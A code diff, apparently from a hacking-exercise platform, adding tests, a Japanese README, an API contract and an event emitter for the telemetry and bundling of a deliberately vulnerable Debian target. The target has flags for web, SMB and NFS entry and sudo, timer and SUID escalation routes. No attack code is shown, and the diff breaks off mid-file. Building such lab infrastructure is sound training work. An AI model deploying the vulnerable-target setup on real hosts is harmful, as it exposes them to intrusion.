+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
+
+from open_world_platform.install import BUNDLE_ONLY_UNITS  # noqa: E402
+from open_world_platform.model import ContractError  # noqa: E402
+from open_world_platform.target_bundle import (  # noqa: E402
+    BUNDLE_MANIFEST,
+    build_target_bundle,
+    validate_target_bundle,
+)
+from open_world_platform.target_install import (  # noqa: E402
+    TargetInstallRequest,
+    _disable_lab_units,
+    _ensure_real_directory,
+    _event_key_bytes,
+    _split_fresh_marker_entry,
+    target_install_plan,
+    validate_target_install_request,
+)
+from tests.helpers import (  # noqa: E402
+    clone,
+    manifest,
+    platform_identity,
+    profile,
+)
+
+
+REPO_ROOT = Path(__file__).resolve().parents[4]
+
+
+def installed_inventory(profile_value):
+    target = profile_value["target"]
+    contract = manifest()
+    return {
+        "platformIdentity": platform_identity(),
+        "bootEnvironment": "installed-debian-maintenance",
+        "targetDisk": {
+            "diskById": target["diskById"],
+            "resolvedDevice": "/dev/nvme0n1",
+            "diskSerial": target["diskSerial"],
+            "diskWwn": target["diskWwn"],
+            "diskSizeBytes": target["diskSizeBytes"],
+        },
+        "partitions": {
+            "debian": {
+                "partuuid": target["debianPartuuid"],
+                "device": "/dev/nvme0n1p3",
+                "mountpoints": ["/"],
+            },
+            "esp": {
+                "partuuid": target["espPartuuid"],
+                "device": "/dev/nvme0n1p1",
+                "mountpoints": ["/boot/efi"],
+            },
+            "windows": {
+                "partuuid": target["windowsPartuuid"],
+                "device": "/dev/nvme0n1p2",
+                "mountpoints": [None],
+            },
+        },
+        "rootFilesystem": {
+            "sourceDevice": "/dev/nvme0n1p3",
+            "target": "/",
+            "filesystemType": "btrfs",
+        },
+        "packages": {name: True for name in contract["packages"]},
+    }
+
+
+class TargetBundleTests(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls) -> None:
+        cls.temporary = tempfile.TemporaryDirectory()
+        cls.root = Path(cls.temporary.name)
+        cls.bundle = cls.root / "bundle"
+        cls.validation = build_target_bundle(REPO_ROOT, cls.bundle)
+
+    @classmethod
+    def tearDownClass(cls) -> None:
+        cls.temporary.cleanup()
+
+    def test_real_bundle_has_exact_split_runtime_and_permissions(self) -> None:
+        manifest = self.validation["manifest"]
+        self.assertEqual(
+            self.validation["flagCounts"],
+            {"debian": 13, "windowsOffline": 1, "total": 14},
+        )
+        self.assertEqual(
+            self.validation["eventKeyAccess"],
+            {
+                "low-emitter": {"low": True, "root": False},
+                "telemetry": {"low": True, "root": True},
+                "unprivileged": {"low": False, "root": False},
+            },
+        )
+        self.assertFalse(
+            (
+                self.bundle
+                / "debian-rootfs/opt/examserver/open-world/guide"
+            ).exists()
+        )
+        self.assertFalse(
+            any(
+                "open-world-guide" in path.as_posix()
+                for path in (self.bundle / "debian-rootfs").rglob("*")
+            )
+        )
+        self.assertTrue(
+            (
+                self.bundle
+                / "debian-rootfs/usr/local/sbin/open-world-telemetry-status"
+            ).is_file()
+        )
+        self.assertTrue(
+            (
+                self.bundle
+                / "debian-rootfs/usr/local/libexec/open-world-file-watch"
+            ).is_file()
+        )
+        self.assertTrue(
+            (
+                self.bundle
+                / "debian-rootfs/etc/systemd/system/open-world-file-watch.service"
+            ).is_file()
+        )
+        telemetry_unit = (
+            self.bundle
+            / "debian-rootfs/etc/systemd/system/open-world-telemetry.service"
+        ).read_text(encoding="utf-8")
+        self.assertIn(
+            "EnvironmentFile=/etc/examserver-open-world/session.env",
+            telemetry_unit,
+        )
+        self.assertIn("Environment=LAB_HTTP_HOST=10.13.37.10", telemetry_unit)
+        self.assertNotIn("guide", telemetry_unit.lower())
+        for obsolete in (
+            "etc/audit/plugins.d/open-world-target.conf",
+            "etc/audit/rules.d/open-world-target.rules",
+            "usr/local/libexec/open-world-audit-dispatch",
+        ):
+            self.assertFalse(
+                (self.bundle / "debian-rootfs" / obsolete).exists()
+            )
+        self.assertTrue(
+            (
+                self.bundle
+                / "debian-rootfs/etc/systemd/system/open-world-nfs-watch.service"
+            ).is_file()
+        )
+        for relative in (
+            "apache2.service.d/open-world-target.conf",
+            "nfs-server.service.d/open-world-watch.conf",
+            "open-world-file-watch.service",
+            "open-world-nfs-watch.service",
+            "open-world-root-timer.service",
+            "open-world-root-timer.timer",
+            "open-world-telemetry.service",
+            "open-world-telemetry.socket",
+            "smbd.service.d/open-world-target.conf",
+            "ssh.service.d/open-world-target.conf",
+        ):
+            content = (
+                self.bundle
+                / "debian-rootfs/etc/systemd/system"
+                / relative
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "PartOf=open-world-vulnerable.target",
+                content,
+                relative,
+            )
+        timer_failure = (
+            self.bundle
+            / "debian-rootfs/etc/systemd/system/"
+            "open-world-root-timer.service.d/"
+            "90-open-world-fail-closed.conf"
+        ).read_text(encoding="utf-8")
+        self.assertIn(
+            "OnFailure=open-world-vulnerable-failure.service",
+            timer_failure,
+        )
+        self.assertTrue(
+            {
+                "auditd.service",
+                "dnsmasq.service",
+                "nmbd.service",
+                "open-world-file-watch.service",
+                "open-world-nfs-watch.service",
+                "open-world-telemetry.socket",
+                "rpcbind.service",
+                "rpcbind.socket",
+                "rpc-statd.service",
+                "rpc-statd-notify.service",
+            }.issubset(
+                manifest["activation"]["servicesDisabledAfterInstall"]
+            )
+        )
+        status = next(
+            entry
+            for entry in manifest["files"]
+            if entry["target"]
+            == "/usr/local/sbin/open-world-telemetry-status"
+        )
+        self.assertEqual(
+            (status["owner"], status["group"], status["mode"]),
+            ("root", "root", "0750"),
+        )
+        self.assertFalse(
+            any(entry["path"].endswith(".key") for entry in manifest["files"])
+        )
+        self.assertFalse(
+            (
+                self.bundle
+                / "debian-rootfs/etc/examserver-open-world/"
+                "telemetry-bridge.env"
+            ).exists()
+        )
+        self.assertFalse(
+            (
+                self.bundle
+                / "debian-rootfs/windows-fixture"
+            ).exists()
+        )
+        self.assertTrue(
+            (
+                self.bundle
+                / "windows-offline/windows-fixture/Users/Public/Documents/"
+                "KazekiriArchive/WINDOWS.flag"
+            ).is_file()
+        )
+        runtime_world = (
+            self.bundle
+            / "debian-rootfs/opt/examserver/open-world/world"
+        )
+        self.assertFalse((runtime_world / "private-answers.mjs").exists())
+        self.assertFalse(
+            (runtime_world / "validate-private-answers.mjs").exists()
+        )
+        self.assertTrue((runtime_world / "flag-verifiers.mjs").is_file())
+        windows_secret = (
+            self.bundle
+            / "windows-offline/windows-fixture/Users/Public/Documents/"
+            "KazekiriArchive/WINDOWS.flag"
+        ).read_bytes().strip()
+        for role in ("debian-rootfs", "installer-private"):
+            for path in (self.bundle / role).rglob("*"):
+                if path.is_file():
+                    self.assertNotIn(
+                        windows_secret,
+                        path.read_bytes(),
+                        f"Windows flag leaked into {path}",
+                    )
+        site = (
+            self.bundle
+            / "debian-rootfs/etc/apache2/sites-available/open-world-target.conf"
+        ).read_text(encoding="utf-8")
+        self.assertNotIn("\nListen ", "\n" + site)
+        samba = (
+            self.bundle
+            / "debian-rootfs/etc/samba/smb.conf.d/open-world-target.conf"
+        ).read_text(encoding="utf-8")
+        self.assertIn("smb ports = 445", samba)
+        self.assertNotRegex(samba, r"(?m)^\s*smb ports\s*=.*\b139\b")
+        directories = {entry["path"] for entry in manifest["directories"]}
+        files = {entry["path"] for entry in manifest["fileOwnership"]}
+        self.assertFalse(directories & files)
+        self.assertIn("/opt/kazekiri/maintenance/nightly.sh", files)
+        self.assertIn("/usr/local/bin/kazekiri-report", files)
+        self.assertNotIn("/usr/local/bin/kazekiri-report", directories)
+        fresh = next(
+            entry
+            for entry in manifest["files"]
+            if entry["target"]
+            == "/var/lib/examserver-open-world/fresh-state.json"
+        )
+        self.assertEqual(
+            (fresh["owner"], fresh["group"], fresh["mode"]),
+            ("root", "lab-telemetry", "0400"),
+        )
+        self.assertEqual(len(manifest["flagFiles"]), 14)
+        expected_debian_ownership = {
+            "flag-entry-web": ("root", "www-data"),
+            "flag-entry-smb": ("root", "root"),
+            "flag-entry-nfs": ("mechanic", "mechanic"),
+            "flag-foothold-www-data": ("root", "www-data"),
+            "flag-foothold-sales": ("sales", "sales"),
+            "flag-foothold-mechanic": ("mechanic", "mechanic"),
+            "flag-clue-sudo": ("root", "lab-foothold"),
+            "flag-clue-timer": ("root", "lab-foothold"),
+            "flag-clue-suid": ("root", "lab-foothold"),
+            "flag-route-sudo": ("root", "root"),
+            "flag-route-timer": ("root", "root"),
+            "flag-route-suid": ("root", "root"),
+            "flag-root-common": ("root", "root"),
+        }
+        for flag in manifest["flagFiles"]:
+            if flag["role"] == "debian":
+                self.assertTrue(flag["target"].startswith("/"))
+                self.assertNotEqual(flag["owner"], "offline-operator")
+                self.assertEqual(
+                    (flag["owner"], flag["group"]),
+                    expected_debian_ownership[flag["id"]],
+                )
+            else:
+                self.assertFalse(flag["target"].startswith("/"))
+                self.assertEqual(flag["mode"], "0444")
+        credential = next(
+            entry
+            for entry in manifest["files"]
+            if entry["role"] == "installer-private"
+        )
+        self.assertEqual(credential["mode"], "0600")
+
+    def test_debian_runtime_module_closure_loads_without_private_answers(
+        self,
+    ) -> None:
+        runtime = (
+            self.bundle
+            / "debian-rootfs/opt/examserver/open-world/world"
+        )
+        engine = (
+            self.bundle
+            / "debian-rootfs/opt/examserver/open-world/telemetry/src/"
+            "session-engine.mjs"
+        )
+        script = (
+            f"import {{validateWorld}} from "
+            f"{json.dumps((runtime / 'validate-world.mjs').as_uri())};"
+            f"import {{WORLD}} from "
+            f"{json.dumps((runtime / 'world-definition.mjs').as_uri())};"
+            f"await import({json.dumps(engine.as_uri())});"
+            "console.log(JSON.stringify({flags:validateWorld(WORLD).flags}));"
+        )
+        completed = subprocess.run(
+            ["node", "--input-type=module", "-e", script],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=30,
+        )
+        self.assertEqual(completed.returncode, 0, completed.stderr)
+        self.assertEqual(json.loads(completed.stdout), {"flags": 14})
+
+    def test_fresh_marker_is_separated_for_final_install_commit(self) -> None:
+        entries = [
+            entry
+            for entry in self.validation["manifest"]["files"]
+            if entry["role"] == "debian"
+        ]
+        target = self.validation["manifest"]["activation"][
+            "freshStateMarker"
+        ]
+        payload, marker = _split_fresh_marker_entry(entries, target)
+        self.assertEqual(marker["target"], target)
+        self.assertNotIn(target, {entry["target"] for entry in payload})
+
+    def test_build_is_deterministic_and_tampering_fails_validation(self) -> None:
+        second = self.root / "second"
+        second_validation = build_target_bundle(REPO_ROOT, second)
+        self.assertEqual(
+            self.validation["bundleManifestSha256"],
+            second_validation["bundleManifestSha256"],
+        )
+        self.assertEqual(
+            (self.bundle / BUNDLE_MANIFEST).read_bytes(),
+            (second / BUNDLE_MANIFEST).read_bytes(),
+        )
+        tampered = self.root / "tampered"
+        shutil.copytree(self.bundle, tampered)
+        (
+            tampered
+            / "debian-rootfs/usr/local/sbin/open-world-telemetry-status"
+        ).write_text("tampered\n", encoding="utf-8")
+        with self.assertRaisesRegex(ContractError, "hash mismatch"):
+            validate_target_bundle(tampered)
+
+    def test_target_install_is_a_guarded_dry_run_only(self) -> None:
+        profile_value = profile()
+        inventory = installed_inventory(profile_value)
+        target = profile_value["target"]
+        request = TargetInstallRequest(
+            disk_by_id=target["diskById"],
+            debian_partuuid=target["debianPartuuid"],
+            esp_partuuid=target["espPartuuid"],
+            windows_partuuid=target["windowsPartuuid"],
+            bundle_manifest_sha256=self.validation[
+                "bundleManifestSha256"
+            ],
+            confirmation=f"INSTALL TARGET BUNDLE {target['diskById']}",
+        )
+        validation = validate_target_install_request(
+            manifest(),
+            profile_value,
+            inventory,
+            self.bundle,
+            request,
+        )
+        plan = target_install_plan(profile_value, request, validation)
+        self.assertFalse(plan["applied"])
+        self.assertEqual(plan["copyPolicy"]["includedRole"], "debian")
+        self.assertIn(
+            "open-world-telemetry.socket",
+            plan["actions"][0]["units"],
+        )
+        self.assertFalse(
+            plan["actions"][4]["storedInBundle"]
+        )
+        self.assertEqual(
+            plan["actions"][-1]["freshStateMarker"],
+            "/var/lib/examserver-open-world/fresh-state.json",
+        )
+
+        bad_cases = {
+            "root": (
+                clone(inventory),
+                request,
+                lambda value: value["rootFilesystem"].update(
+                    {"sourceDevice": "/dev/sdz2"}
+                ),
+            ),
+            "disk": (
+                clone(inventory),
+                TargetInstallRequest(
+                    **{**request.__dict__, "disk_by_id": "/dev/wrong"}
+                ),
+                lambda value: None,
+            ),
+            "hash": (
+                clone(inventory),
+                TargetInstallRequest(
+                    **{
+                        **request.__dict__,
+                        "bundle_manifest_sha256": "f" * 64,
+                    }
+                ),
+                lambda value: None,
+            ),
+            "phrase": (
+                clone(inventory),
+                TargetInstallRequest(
+                    **{**request.__dict__, "confirmation": "INSTALL"}
+                ),
+                lambda value: None,
+            ),
+            "missing package": (
+                clone(inventory),
+                request,
+                lambda value: value["packages"].update({"samba": False}),
+            ),
+            "wrong target OS": (
+                clone(inventory),
+                request,
+                lambda value: value["platformIdentity"].update(
+                    {"dpkgArchitecture": "arm64"}
+                ),
+            ),
+        }
+        for label, (bad_inventory, bad_request, mutate) in bad_cases.items():
+            with self.subTest(label=label):
+                mutate(bad_inventory)
+                with self.assertRaises(ContractError):
+                    validate_target_install_request(
+                        manifest(),
+                        profile_value,
+                        bad_inventory,
+                        self.bundle,
+                        bad_request,
+                    )
+
+    def test_generated_ascii_key_round_trips_through_real_node_auth(
+        self,
+    ) -> None:
+        key_root = self.root / "node-key-roundtrip"
+        key_root.mkdir()
+        low = key_root / "low.key"
+        root = key_root / "root.key"
+        low.write_bytes(_event_key_bytes(32))
+        root.write_bytes(_event_key_bytes(32))
+        self.assertEqual(len(low.read_text(encoding="ascii").strip()), 64)
+        auth_module = (
+            REPO_ROOT
+            / "labs/open-world-target/telemetry/src/event-auth.mjs"
+        ).as_uri()
+        script = (
+            f"import {{loadEventKeys,signEvent,authenticateWireEvent}} from "
+            f"{json.dumps(auth_module)};"
+            f"const keys=await loadEventKeys({{lowPath:{json.dumps(str(low))},"
+            f"rootPath:{json.dumps(str(root))}}});"
+            "const event={sessionId:'exercise-key-test',"
+            "kind:'entry.discovered',nodeId:'entrance-web-diagnostics',"
+            "sourceId:'apache2.service',"
+            "evidenceCode:'web.diagnostics.opened',"
+            "occurredAt:'2026-07-27T00:00:00.000Z'};"
+            "const wire={...event,authTag:signEvent(event,keys.low)};"
+            "const accepted=authenticateWireEvent(wire,keys);"
+            "console.log(JSON.stringify({sourceId:accepted.sourceId,"
+            "lowBytes:keys.low.length,rootBytes:keys.root.length}));"
+        )
+        completed = subprocess.run(
+            ["node", "--input-type=module", "-e", script],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=30,
+        )
+        self.assertEqual(completed.returncode, 0, completed.stderr)
+        self.assertEqual(
+            json.loads(completed.stdout),
+            {
+                "sourceId": "apache2.service",
+                "lowBytes": 64,
+                "rootBytes": 64,
+            },
+        )
+
+    def test_directory_creation_rejects_intermediate_symlink(self) -> None:
+        safe = self.root / "symlink-guard"
+        outside = self.root / "outside"
+        safe.mkdir()
+        outside.mkdir()
+        link = safe / "redirect"
+        try:
+            os.symlink(outside, link, target_is_directory=True)
+        except OSError as exc:
+            self.skipTest(f"directory symlinks unavailable: {exc}")
+        with self.assertRaisesRegex(ContractError, "unsafe component"):
+            _ensure_real_directory(link / "escaped", 0o755)
+        self.assertFalse((outside / "escaped").exists())
+
+    def test_prebundle_disable_never_names_missing_bundle_units(self) -> None:
+        calls = []
+
+        class Completed:
+            returncode = 0
+            stdout = ""
+            stderr = ""
+
+        def runner(args, **kwargs):
+            calls.append(args)
+            return Completed()
+
+        _disable_lab_units(include_bundle_units=False, runner=runner)
+        disabled = next(
+            args
+            for args in calls
+            if args[:3] == ["systemctl", "disable", "--now"]
+        )
+        self.assertTrue(
+            all(unit not in disabled for unit in BUNDLE_ONLY_UNITS)
+        )
+        calls.clear()
+        _disable_lab_units(include_bundle_units=True, runner=runner)
+        disabled = next(
+            args
+            for args in calls
+            if args[:3] == ["systemctl", "disable", "--now"]
+        )
+        self.assertNotIn("open-world-root-timer.service", disabled)
+        self.assertTrue(
+            all(
+                unit in disabled
+                for unit in BUNDLE_ONLY_UNITS
+                if unit != "open-world-root-timer.service"
+            )
+        )
+        self.assertIn(
+            ["systemctl", "stop", "open-world-root-timer.service"],
+            calls,
+        )
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/telemetry/README.md b/labs/open-world-target/telemetry/README.md
new file mode 100644
index 0000000..578e131
--- /dev/null
+++ b/labs/open-world-target/telemetry/README.md
@@ -0,0 +1,131 @@
+# Open-world telemetry
+
+Node.js標準ライブラリだけで動く、ローカル教材イベントdaemonである。
+`open-world-telemetry.service`は直結Ethernetの`10.13.37.10:8787`へHTTP APIを出し、
+Kali BridgeまたはKali loopbackのlocal-only fallback serverだけが利用する。Debianは
+public guideを配信せず、telemetry自身も外部クラウドへ送らない。
+
+## Privacy boundary
+
+Unix socketはsystemdが`root:lab-events`、mode `0660`で所有する。senderは
+次の6項目をこの順でcanonical JSON化し、source scopeごとのHMAC-SHA-256
+`authTag`をwire上だけに加える。
+
+```json
+{
+  "sessionId": "exercise-2026-07-27-a",
+  "kind": "entry.discovered",
+  "nodeId": "entrance-web-diagnostics",
+  "sourceId": "apache2.service",
+  "evidenceCode": "web.diagnostics.opened",
+  "occurredAt": "2026-07-27T01:23:45.000Z",
+  "authTag": "64 lowercase hexadecimal characters"
+}
+```
+
+source scopeは固定で、`apache2.service`と`smbd.service`だけが`low`、SSH、
+NFSと固定path file watcherは`root`である。daemonはsourceに対応する鍵で
+tagを検証し、tagを捨ててから6項目だけをstate engineへ渡す。low鍵で署名した
+root source、tagなし、不正tag、余分なkeyは拒否する。その後
+`kind + nodeId + sourceId + evidenceCode`を`world-definition.mjs`のallowlistと
+照合する。
+
+生コマンド、HTTP parameter、資格情報、鍵、tag、flag内容、ファイル内容、
+任意ログはstate/projectionへ保存しない。同じイベントおよび同じ状態への
+別イベントはidempotentである。`/root/ROOT.flag`の固定inotify検出を最後の
+信頼可能な自動イベントとし、Windows追加flagは手動だけで扱う。
+runtimeは`world/flag-verifiers.mjs`の一方向digestだけを読み、平文を持つ
+`private-answers.mjs`はbuild専用としてDebian bundleから除外する。全flagは
+128-bit以上、Windows flagは192-bitのランダムsuffixを持ち、target上のdigestから
+現実的に逆算できない。
+
+senderは接続から応答完了まで1.5秒の絶対deadlineを持ち、daemonがaccept後に
+沈黙しても非zeroで終了する。daemon側も各接続を1.5秒で閉じ、同時接続数を64へ
+制限する。timeout、oversize、不正JSONを含め、payloadや鍵をログへ出さない。
+
+公開wire shapeは`api-contract.json`を正本とする。未発見nodeはopaqueな
+`map-*` IDと`undiscovered`だけを返し、label、detail、hint body、flag ID、
+flag正解を返さない。SSEは差分ではなく毎回完全なsanitized projectionを送り、
+切断時は`GET /api/session/state`へfallbackできる。
+
+HTTPのstate、SSE、固定hypothesis/hint操作、local manual flag提出はすべて
+`Authorization: Bearer`を要求する。tokenはfresh exercise開始時に32 random bytesから生成し、
+`/etc/examserver-open-world/session.env`の`TELEMETRY_BRIDGE_TOKEN`へ
+`root:lab-telemetry 0640`でsession IDと一緒にatomic保存する。Kaliでは同じ値を
+`BRIDGE_TARGET_TOKEN`としてBridgeまたはlocal-only fallback serverへ渡す。tokenをURL、browser、
+bundle、plan、log、証跡へ出さない。欠落・不一致はtoken本文を返さず401にする。
+
+Cloud Bridgeが読むのはstate/eventsだけで、cloudから戻せる操作は固定IDのhypothesis選択とhint解除だけ
+である。flag文字列はBridge/cloudを通さない。manual flag routeは完全オフライン時のKali
+loopback fallback専用で、同じBearer境界の内側に残す。`GET /healthz`だけは状態を含まないliveness
+応答としてBearerなしで利用できる。
+
+## Event key provisioning
+
+鍵そのものはrepositoryやimage sourceへ置かない。platformはgolden image構築時に
+32 random bytes以上を生成し、daemon起動前に次の所有権で配置する。
+
+```sh
+install -d -o root -g root -m 0711 \
+  /etc/examserver-open-world/event-keys
+umask 077
+openssl rand -base64 32 > /etc/examserver-open-world/event-keys/low.key
+openssl rand -base64 32 > /etc/examserver-open-world/event-keys/root.key
+chown root:lab-events /etc/examserver-open-world/event-keys/low.key
+chown root:lab-telemetry /etc/examserver-open-world/event-keys/root.key
+chmod 0440 /etc/examserver-open-world/event-keys/low.key
+chmod 0440 /etc/examserver-open-world/event-keys/root.key
+```
+
+key directoryはlistingを許さず、既知pathのtraverseだけを許す。`www-data`と
+固定guest account `nobody`は`lab-events`経由でlow鍵だけを読める。
+`lab-telemetry`は両鍵を検証用に読め、root実行のPAMと固定path watcherだけがroot鍵を
+読める。鍵は引数、環境変数、ログ、stateへ入れない。pathを変える試験環境だけ
+`LAB_EVENT_LOW_KEY_FILE`と`LAB_EVENT_ROOT_KEY_FILE`を使う。
+
+## Automatic detector fallback
+
+daemonとHTTP APIが生きているが、PAM/inotify等の自動detectorを信用できない場合、
+運営者はroot所有・mode `0750`で配置したhelperから状態を切り替える。
+
+```sh
+sudo /usr/local/sbin/open-world-telemetry-status unavailable
+sudo /usr/local/sbin/open-world-telemetry-status live
+```
+
+helperはmain processへそれぞれ`SIGUSR1`/`SIGUSR2`を送り、SSEとstate APIを保った
+まま手動flag fallbackを開閉する。`unavailable`中もwire認証は行うが、自動eventは
+stateへ適用せず、手動提出だけを正本にする。`live`へ戻した後の新しい自動event
+から適用を再開する。これはdaemon停止時のfallbackではない。daemonが停止すれば
+同じAPIの手動提出も使えないため、operatorはserviceを復旧する。
+
+NFS入口は`open-world-nfs-watch.service`が親directoryのLinux `IN_ACCESS`を監視する。
+watcherはsystemdへREADYを返すまでNFSより先に待たれ、署名eventを配信できなければ
+異常終了する。NFS unitはwatcherへ`BindsTo`されるため、検出不能のままNFSだけを
+公開し続けない。
+
+残る7個の固定教材flagは`open-world-file-watch.service`が各regular fileへ
+`IN_ACCESS` watchを登録してからREADYを返す。これはpathごとの固定event tupleだけを送り、
+syscall、command line、任意path、file内容を収集・永続化しない。配信失敗やfile差し替えで
+非zero終了し、`OnFailure`とvulnerable targetの`BindsTo`が演習surfaceを停止する。
+
+telemetry service/socketも`open-world-vulnerable.target`へ`PartOf`で結び、
+exercise targetを停止するとUnix socket、HTTP API、SSEをまとめて停止する。
+通常boot targetへ個別にenableせず、platformのexercise targetからだけ起動する。
+
+## Local verification
+
+```sh
+cd labs/open-world-target/telemetry
+npm test
+```
+
+WindowsではLinux inotify試験を理由付きskipする。Ubuntu CIでは通常の`npm test`
+内で、実kernel event、production HMAC emitter、production ingest、配信失敗時の
+nonzero終了まで実行する。Windows hostから同じ証跡を得る場合はWSLで
+`npm run test:nfs-watch:linux`を実行する。
+
+実運用ではplatformがservice user、`lab-events` group、state directory、
+鍵、root-only status helper、fresh session/token環境、各fixtureの定数イベントhookを配置する。
+開発用起動では`LAB_SESSION_ID`、`TELEMETRY_BRIDGE_TOKEN`、`LAB_STATE_PATH`、
+`LAB_EVENT_SOCKET`と2つのkey pathを一時パスへ設定する。
diff --git a/labs/open-world-target/telemetry/api-contract.json b/labs/open-world-target/telemetry/api-contract.json
new file mode 100644
index 0000000..5fcb2c9
--- /dev/null
+++ b/labs/open-world-target/telemetry/api-contract.json
@@ -0,0 +1,130 @@
+{
+  "version": 1,
+  "basePath": "/api/session",
+  "authentication": {
+    "scheme": "Bearer",
+    "targetEnvironmentVariable": "TELEMETRY_BRIDGE_TOKEN",
+    "kaliEnvironmentVariable": "BRIDGE_TARGET_TOKEN",
+    "requiredFor": [
+      "state",
+      "events",
+      "selectHypothesis",
+      "unlockHint",
+      "submitManualFlag"
+    ],
+    "failure": {
+      "status": 401,
+      "code": "unauthorized",
+      "secretEcho": false
+    }
+  },
+  "state": {
+    "method": "GET",
+    "path": "/api/session/state",
+    "response": {
+      "experience": "live",
+      "sessionId": "exercise-2026-07-27-a",
+      "status": "active",
+      "revision": 0,
+      "facts": [],
+      "hypotheses": [
+        {
+          "id": "hyp-service-inventory",
+          "label": "まず、直結先で応答するサービスを整理する",
+          "summary": "入口を決める前に、見えている面を事実として並べる。",
+          "selected": true,
+          "available": true
+        }
+      ],
+      "graph": {
+        "nodes": [
+          {
+            "id": "map-01",
+            "state": "undiscovered"
+          },
+          {
+            "id": "map-02",
+            "state": "undiscovered"
+          },
+          {
+            "id": "map-03",
+            "state": "undiscovered"
+          }
+        ],
+        "edges": []
+      },
+      "hints": [
+        {
+          "id": "hyp-service-inventory:1",
+          "step": 1,
+          "title": "見る場所",
+          "state": "available"
+        },
+        {
+          "id": "hyp-service-inventory:2",
+          "step": 2,
+          "title": "使う道具",
+          "state": "locked"
+        },
+        {
+          "id": "hyp-service-inventory:3",
+          "step": 3,
+          "title": "操作例",
+          "state": "locked"
+        }
+      ],
+      "progress": {
+        "discovered": 0,
+        "total": 14
+      },
+      "recentEvents": [],
+      "telemetry": {
+        "status": "live"
+      },
+      "capabilities": {
+        "manualFlagSubmission": true
+      }
+    }
+  },
+  "events": {
+    "method": "GET",
+    "path": "/api/session/events",
+    "contentType": "text/event-stream",
+    "event": "state",
+    "id": "projection.revision",
+    "data": "same shape as GET /api/session/state",
+    "reconnect": "Last-Event-ID is accepted and every connection receives a full state snapshot"
+  },
+  "detectorStatusControl": {
+    "publicEndpoint": false,
+    "unavailableSignal": "SIGUSR1",
+    "liveSignal": "SIGUSR2",
+    "helper": "/usr/local/sbin/open-world-telemetry-status",
+    "meaning": "switch automatic detector availability while this daemon and HTTP API remain alive"
+  },
+  "selectHypothesis": {
+    "method": "POST",
+    "path": "/api/session/hypotheses/{hypothesisId}/select",
+    "body": {},
+    "response": "state projection"
+  },
+  "unlockHint": {
+    "method": "POST",
+    "path": "/api/session/hints/{hintId}/unlock",
+    "body": {},
+    "response": "state projection"
+  },
+  "submitManualFlag": {
+    "method": "POST",
+    "path": "/api/session/flags/submit",
+    "body": {
+      "flag": "participant-entered value"
+    },
+    "response": {
+      "accepted": true,
+      "message": "flagを確認しました。",
+      "state": "state projection"
+    },
+    "availability": "Kali loopback fallback only; Bridge and cloud never forward flag strings"
+  }
+}
diff --git a/labs/open-world-target/telemetry/bin/emit-event.mjs b/labs/open-world-target/telemetry/bin/emit-event.mjs
new file mode 100644
index 0000000..1d51231
--- /dev/null
+++ b/labs/open-world-target/telemetry/bin/emit-event.mjs
@@ -0,0 +1,125 @@
+#!/usr/bin/env node
+
+import net from "node:net";
+
+import {
+  DEFAULT_EVENT_KEY_PATHS,
+  signEvent,
+  sourceScope,
+} from "../src/event-auth.mjs";
+import { readFile } from "node:fs/promises";
+
+const EVENT_REPLY_TIMEOUT_MS = 1_500;
+
+const OPTION_FIELDS = Object.freeze({
+  "--kind": "kind",
+  "--node": "nodeId",
+  "--source": "sourceId",
+  "--evidence": "evidenceCode",
+  "--at": "occurredAt",
+  "--session": "sessionId",
+  "--socket": "socketPath",
+});
+
+function parseArguments(argv) {
+  const options = {};
+  for (let index = 0; index < argv.length; index += 1) {
+    const option = argv[index];
+    const field = OPTION_FIELDS[option];
+    if (!field || index + 1 >= argv.length) {
+      throw new Error(`unknown or incomplete option: ${option}`);
+    }
+    options[field] = argv[index + 1];
+    index += 1;
+  }
+  return options;
+}
+
+function sendEvent(socketPath, event) {
+  return new Promise((resolve, reject) => {
+    const socket = net.createConnection(socketPath);
+    let response = "";
+    let completed = false;
+    const deadline = setTimeout(() => {
+      fail(new Error("telemetry daemon timed out"));
+    }, EVENT_REPLY_TIMEOUT_MS);
+
+    function fail(error) {
+      if (completed) return;
+      completed = true;
+      clearTimeout(deadline);
+      socket.destroy();
+      reject(error);
+    }
+
+    socket.setEncoding("utf8");
+    socket.on("connect", () => socket.write(`${JSON.stringify(event)}\n`));
+    socket.on("data", (chunk) => {
+      response += chunk;
+      if (response.length > 4096) {
+        fail(new Error("telemetry reply is too large"));
+      }
+    });
+    socket.on("end", () => {
+      if (completed) return;
+      completed = true;
+      clearTimeout(deadline);
+      try {
+        resolve(JSON.parse(response));
+      } catch {
+        reject(new Error("telemetry daemon returned an invalid reply"));
+      }
+    });
+    socket.on("error", fail);
+    socket.on("close", () => {
+      if (!completed) {
+        fail(new Error("telemetry daemon closed without a reply"));
+      }
+    });
+  });
+}
+
+try {
+  const options = parseArguments(process.argv.slice(2));
+  const event = {
+    sessionId: options.sessionId ?? process.env.LAB_SESSION_ID,
+    kind: options.kind,
+    nodeId: options.nodeId,
+    sourceId: options.sourceId,
+    evidenceCode: options.evidenceCode,
+    occurredAt: options.occurredAt ?? new Date().toISOString(),
+  };
+  const socketPath =
+    options.socketPath ??
+    process.env.LAB_EVENT_SOCKET ??
+    "/run/examserver-open-world/events.sock";
+  if (
+    Object.values(event).some(
+      (value) => typeof value !== "string" || value.length === 0,
+    )
+  ) {
+    throw new Error("session, kind, node, source, and evidence are required");
+  }
+
+  const scope = sourceScope(event.sourceId);
+  if (!scope) throw new Error("event source is not allowlisted");
+  const keyPath =
+    scope === "low"
+      ? (process.env.LAB_EVENT_LOW_KEY_FILE ?? DEFAULT_EVENT_KEY_PATHS.low)
+      : (process.env.LAB_EVENT_ROOT_KEY_FILE ?? DEFAULT_EVENT_KEY_PATHS.root);
+  const key = Buffer.from((await readFile(keyPath, "utf8")).trim(), "utf8");
+  const wireEvent = {
+    ...event,
+    authTag: signEvent(event, key),
+  };
+  const result = await sendEvent(socketPath, wireEvent);
+  if (result.accepted !== true) {
+    throw new Error(result.error?.code ?? "event_rejected");
+  }
+  process.stdout.write(
+    `accepted=${result.accepted} changed=${result.changed} revision=${result.revision}\n`,
+  );
+} catch (error) {
+  process.stderr.write(`open-world-event: ${error.message}\n`);
+  process.exitCode = 1;
+}
diff --git a/labs/open-world-target/telemetry/bin/open-world-event b/labs/open-world-target/telemetry/bin/open-world-event
new file mode 100644
index 0000000..9eaa773
--- /dev/null
